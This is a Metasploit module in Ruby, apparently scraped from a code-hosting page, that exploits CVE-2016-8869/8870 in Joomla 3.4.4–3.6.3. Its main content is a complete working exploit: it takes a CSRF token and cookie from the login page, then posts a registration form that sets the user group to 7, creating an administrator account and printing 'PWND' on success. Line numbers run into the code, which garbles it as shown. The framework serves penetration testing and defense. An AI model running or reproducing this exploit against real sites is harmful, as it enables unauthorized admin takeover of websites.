Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/joomla_registration_privesc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::Joomla78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Joomla Account Creation and Privilege Escalation',13'Description' => %q{14This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.415through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).16},17'References' => [18['CVE', '2016-8869'],19['CVE', '2016-8870'],20['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],21['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],22['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']23],24'Author' => [25'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation26'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation27'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation28],29'License' => MSF_LICENSE,30'DisclosureDate' => '2016-10-25'31)32)3334register_options(35[36OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),37OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),38OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),39OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]'])40]41)42end4344def check45res = send_request_cgi('uri' => target_uri.path)4647unless res48vprint_error('Unable to connect to target')49return Exploit::CheckCode::Unknown50end5152unless joomla_and_online?53vprint_error('Unable to detect Joomla')54return Exploit::CheckCode::Safe55end5657version = Rex::Version.new(joomla_version)5859unless version60vprint_error('Unable to detect Joomla version')61return Exploit::CheckCode::Detected62end6364vprint_status("Detected Joomla version #{version}")6566if version.between?(Rex::Version.new('3.4.4'), Rex::Version.new('3.6.3'))67return Exploit::CheckCode::Appears68end6970Exploit::CheckCode::Safe71end7273def get_csrf(hidden_fields)74hidden_list = hidden_fields75hidden_list.each do |fields|76fields.each do |item|77if item[0].length == 32 && item[1] == '1'78return item[0]79end80end81end82end8384def run85if check == Exploit::CheckCode::Safe86print_error('Target seems safe, so we will not continue!')87return88end8990print_status('Trying to create the user!')91res = send_request_cgi(92'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),93'vars_get' => {94'view' => 'login'95}96)9798if res && res.code == 20099cookie = res.get_cookies100csrf = get_csrf(res.get_hidden_inputs)101102if csrf.length != 32 && cookie.split(/=/).length != 2103print_error('Could not find csrf or cookie!')104return105end106else107print_error('Could not find Login Page!')108return109end110111mime = Rex::MIME::Message.new112mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')113mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')114mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')115mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')116mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"')117mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')118mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')119mime.add_part('com_users', nil, nil, 'form-data; name="option"')120mime.add_part('user.register', nil, nil, 'form-data; name="task"')121mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"')122123res = send_request_cgi(124'method' => 'POST',125'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),126'cookie' => cookie,127'ctype' => "multipart/form-data; boundary=#{mime.bound}",128'data' => mime.to_s129)130131if res && res.code == 200132print_good('PWND - Your user has been created')133print_status("\tUsername: " + datastore['USERNAME'])134print_status("\tPassword: " + datastore['PASSWORD'])135print_status("\tEmail: " + datastore['EMAIL'])136elsif res.redirect?137res = send_request_cgi!(138'uri' => res.redirection.path,139'method' => 'GET',140'cookie' => cookie141)142143print_error('There was an issue, but the user could have been created.')144145parsed_data = res.get_html_document146parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|147print_error("\t" + alert_msg.text)148end149else150print_error('This host may not be vulnerable.')151end152end153end154155156